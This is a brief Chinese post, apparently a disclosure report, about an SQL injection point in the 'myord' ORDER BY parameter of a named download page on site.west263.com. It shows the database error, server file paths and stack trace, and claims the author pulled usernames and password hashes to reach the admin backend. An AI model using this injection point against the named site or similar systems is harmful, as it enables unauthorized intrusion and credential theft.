注射点
http://site.west263.com/down/class/index.php?myord=1
 
 
Database error: Invalid SQL: select * from au_down_con where iffb='1' and catid!='0' order by 1\' desc limit 0,20
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' desc limit 0,20' at line 1)
#0 dbbase_sql->halt(Invalid SQL: select * from au_down_con where iffb='1' and catid!='0' order by 1\' desc limit 0,20) called at [D:\wwwroot\autosite\wwwroot\includes\db.inc.php:54] #1 dbbase_sql->query(select * from {P}_down_con where iffb='1' and catid!='0' order by 1\' desc limit 0,20) called at [D:\wwwroot\autosite\wwwroot\down\module\DownQuery.php:105] #2 DownQuery() called at [D:\wwwroot\autosite\wwwroot\includes\common.inc.php:551] #3 printpage() called at [D:\wwwroot\autosite\wwwroot\down\class\index.php:11]
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\wwwroot\autosite\wwwroot\includes\db.inc.php on line 61
 www.2cto.com
 


通过注入 取得用户名和密码hash 顺利进入后台
 
 
 
我就不进一步了..

作者：数据流